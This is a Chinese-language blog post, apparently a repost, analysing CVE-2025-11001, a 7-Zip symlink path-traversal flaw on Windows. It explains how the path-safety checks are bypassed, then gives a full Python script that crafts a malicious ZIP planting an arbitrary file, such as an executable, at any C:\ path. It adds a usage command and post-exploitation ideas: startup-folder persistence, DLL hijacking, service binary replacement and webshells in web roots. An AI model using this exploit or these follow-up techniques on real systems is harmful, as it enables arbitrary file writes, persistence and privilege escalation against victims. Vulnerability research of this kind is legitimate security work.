原文链接
https://pacbypass.github.io/2025/10/16/diffing-7zip-for-cve-2025-11001.html
漏洞概况
该漏洞仅在 Windows 上可用,并且有一个重要警告:只有以管理员权限运行 7-Zip 时,才能成功利用此漏洞。这是因为 7-zip 进程会创建一个符号链接,而这在 Windows 上属于特权操作。
因此,只有当服务帐户使用 7-Zip 时,这种利用才有意义。
漏洞原理
7-Zip 在处理 ZIP 文件中的 Linux 风格符号链接(即内容为路径字符串的小文件,权限位为 0120777)时,试图将其转换为 Windows 符号链接(symlink)或目录联结(junction)。
但在此过程中,路径安全性检查存在逻辑缺陷,导致攻击者可以绕过防护,让 7-Zip 在任意位置(如 C:\Windows\System32)创建文件。
技术细节分解(三大问题)
问题一:错误判断“相对路径”
- 当 ZIP 中的符号链接内容是 Windows 风格绝对路径(如
C:\Users\Alice\Desktop)时, - 7-Zip 的解析器 仍按 Linux 规则判断:因为路径不以
/开头,所以被误判为 “相对路径”(isRelative = true)。
关键点:C:\... 在 Linux 视角下不是绝对路径(因为没有 /),所以被当成相对路径!
问题二:路径拼接绕过安全检查
- 由于被判定为“相对路径”,7-Zip 会将符号链接在 ZIP 中的所在目录拼接到目标路径前。
- 例如:ZIP 结构为
data/link → C:\Target - 实际检查的路径变成:
data/linkC:\Target(注意:中间没有路径分隔符!) - 而安全函数
IsSafePath()原本用于阻止绝对路径,但它对这种“畸形拼接路径”误判为安全(因为不以/或盘符开头)。
结果:绕过了 IsSafePath 的防护!
问题三:关键安全检查被跳过
- 7-Zip 后续还有一个更严格的检查,用于验证符号链接目标是否安全:
if (!_ntOptions.SymLinks_AllowDangerous.Val) {
if (_item.IsDir) { // ← 只有当条目是“目录”时才执行检查!
// 检查 linkInfo.linkPath 是否危险
}
}- 但我们的符号链接是一个文件条目(不是目录),所以
_item.IsDir == false,整个检查被跳过!
最终:危险的 C:\... 路径未被拦截。
漏洞复现
https://github.com/pacbypass/CVE-2025-11001
import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o040755 << 16) | 0x10
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, b'')
def add_symlink(z, arcname, target):
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o120777 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, target.encode('utf-8'))
def add_file_from_disk(z, arcname, src_path):
with open(src_path, 'rb') as f:
payload = f.read()
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o100644 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, payload)
def main():
parser = argparse.ArgumentParser(
description="Crafts a zip that exploits CVE-2025-11001."
)
parser.add_argument(
"--zip-out", "-o",
required=True,
help="Path to the output ZIP file."
)
parser.add_argument(
"--symlink-target", "-t",
required=True,
help="Destination path the symlink points to - specify a \"C:\" path"
)
parser.add_argument(
"--data-file", "-f",
required=True,
help="Path to the local file to embed e.g an executable or bat script."
)
parser.add_argument(
"--dir-name",
default="data",
help="Top-level directory name inside the ZIP (default: data)."
)
parser.add_argument(
"--link-name",
default="link_in",
help="Symlink entry name under the top directory (default: link_in)."
)
args = parser.parse_args()
top_dir = args.dir_name.rstrip("/")
link_entry = f"{top_dir}/{args.link_name}"
embedded_name = os.path.basename(args.data_file)
file_entry = f"{link_entry}/{embedded_name}"
with zipfile.ZipFile(args.zip_out, "w") as z:
add_dir(z, top_dir)
add_symlink(z, link_entry, args.symlink_target)
add_file_from_disk(z, file_entry, args.data_file)
print(f"Wrote {args.zip_out}")
if __name__ == "__main__":
main()利用方式:
python3 exploity.py -t "D:\Desktop" -o demo.zip --data-file calc.exe准备好 calc.exe


使用管理员权限运行 7-Zip 进行解压,可以发现桌面位置出现了 calc.exe 程序

利用思路
一旦攻击者能通过该漏洞将任意文件写入系统任意位置(需有写权限),就可以实现多种高危攻击:
1. 自启动项覆盖 / 植入
写入恶意
.exe或.bat到:C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
- 效果:用户下次登录时自动执行恶意代码。
2. 计划任务(Scheduled Task)文件覆盖或植入
虽然 Windows 计划任务主要通过注册表或 XML 配置,但:
- 可覆盖已有的任务脚本(如
.ps1,.bat) - 或写入新任务文件到可被任务调度器加载的位置(需配合其他机制)
- 可覆盖已有的任务脚本(如
- 更常见的是:写入 DLL 到被任务调用的程序目录,实现 DLL 劫持
3. DLL 劫持(DLL Hijacking)
- 覆盖或植入 DLL 到常用程序目录(如
C:\Program Files\App\) - 当高权限程序启动时加载恶意 DLL → 权限提升
4. 服务二进制替换
- 如果目标系统有可写的服务二进制路径(如某些 notepad 记事本),可直接替换
.exe文件
5. Web 目录写入(若目标为 Web 服务器)
- 写入 Webshell 到
C:\inetpub\wwwroot\等目录 - 实现远程命令执行
评论 (0)